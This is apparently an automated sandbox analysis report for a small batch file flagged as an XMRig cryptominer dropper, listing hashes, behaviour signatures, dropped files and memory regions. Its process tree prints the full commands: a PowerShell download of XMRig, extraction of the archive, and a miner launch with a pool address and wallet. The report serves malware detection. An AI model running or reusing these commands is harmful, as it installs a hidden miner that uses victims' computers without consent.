Analysis

  • max time kernel
    1794s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4600
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:208

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c39cd164197d1c7e49ed14112913d7c8

    SHA1

    efa79c0a05ffced68ee48655b260ebab6ebed0e9

    SHA256

    ee87a0cdee831a5b619dd58d18ad8336f5c85b79558656941f9e8679d523f3ff

    SHA512

    6d065493986b6f8f6ef04547f85661336631adf0861763d2267fb6d2e5286f10e132b7ddbc14ac3ddf781918a462ad65df04fdfe362efb9a0eba0452359369c5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvd4myh3.d3i.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    387KB

    MD5

    80b24f472b5b27f7248e819ab1d8f0aa

    SHA1

    622a4cc1b91ccd5b7040623e7ec6c12e0fb610f1

    SHA256

    75bf405440c85798593127983562c8446ca9af5be79735fd3d2903737448dc0b

    SHA512

    b036d68d47be544dc75854fff1ec0b5302a19d77af182ed8223b4555e8d74de3b6974cd76c6b2cf281b34768b1e3caa7b63ff72f71df9f88ef6a391606ee0a3a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.0MB

    MD5

    fdf409b988d82d43880730e2d58d98b2

    SHA1

    495b53007bbe252bb172650bea4efa99603200b2

    SHA256

    bb9d3453c4a829d90e0e13d529c9859437e6110d800b0c915d21fc0f788400f4

    SHA512

    ccd302125e65b6c11af9ca3b2e0a9a8843db224e58ab44ed836dc482f8847787b57086fc9a4bc446e84be961cd443124e457f63bae24dae9b928904aa861d947

  • memory/208-142-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-136-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-186-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-185-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-184-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-183-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-182-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-181-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-180-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-179-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-178-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-177-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-176-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-175-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-174-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-173-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-119-0x000001872B7F0000-0x000001872B830000-memory.dmp

    Filesize

    256KB

  • memory/208-120-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-121-0x000001872BC50000-0x000001872BC70000-memory.dmp

    Filesize

    128KB

  • memory/208-122-0x000001872BE80000-0x000001872BEA0000-memory.dmp

    Filesize

    128KB

  • memory/208-123-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-124-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-126-0x000001872BE80000-0x000001872BEA0000-memory.dmp

    Filesize

    128KB

  • memory/208-125-0x000001872BC50000-0x000001872BC70000-memory.dmp

    Filesize

    128KB

  • memory/208-127-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-128-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-129-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-130-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-131-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-132-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-133-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-134-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-135-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-147-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-137-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-138-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-139-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-140-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-141-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-118-0x0000018699420000-0x0000018699440000-memory.dmp

    Filesize

    128KB

  • memory/208-143-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-144-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-172-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-146-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-145-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-148-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-149-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-150-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-151-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-152-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-153-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-154-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-155-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-156-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-157-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-158-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-159-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-160-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-161-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-162-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-163-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-164-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-165-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-166-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-167-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-168-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-169-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-170-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/208-171-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3572-10-0x000002513F920000-0x000002513F930000-memory.dmp

    Filesize

    64KB

  • memory/3572-7-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/3572-8-0x000002513F920000-0x000002513F930000-memory.dmp

    Filesize

    64KB

  • memory/3572-9-0x000002513FBB0000-0x000002513FC26000-memory.dmp

    Filesize

    472KB

  • memory/3572-27-0x000002513F920000-0x000002513F930000-memory.dmp

    Filesize

    64KB

  • memory/3572-25-0x000002513F920000-0x000002513F930000-memory.dmp

    Filesize

    64KB

  • memory/3572-4-0x000002513F8B0000-0x000002513F8D2000-memory.dmp

    Filesize

    136KB

  • memory/3572-26-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/3572-32-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4600-64-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

    Filesize

    64KB

  • memory/4600-38-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4600-41-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

    Filesize

    64KB

  • memory/4600-40-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

    Filesize

    64KB

  • memory/4600-78-0x0000022AE9110000-0x0000022AE9122000-memory.dmp

    Filesize

    72KB

  • memory/4600-91-0x0000022AE8E30000-0x0000022AE8E3A000-memory.dmp

    Filesize

    40KB

  • memory/4600-115-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB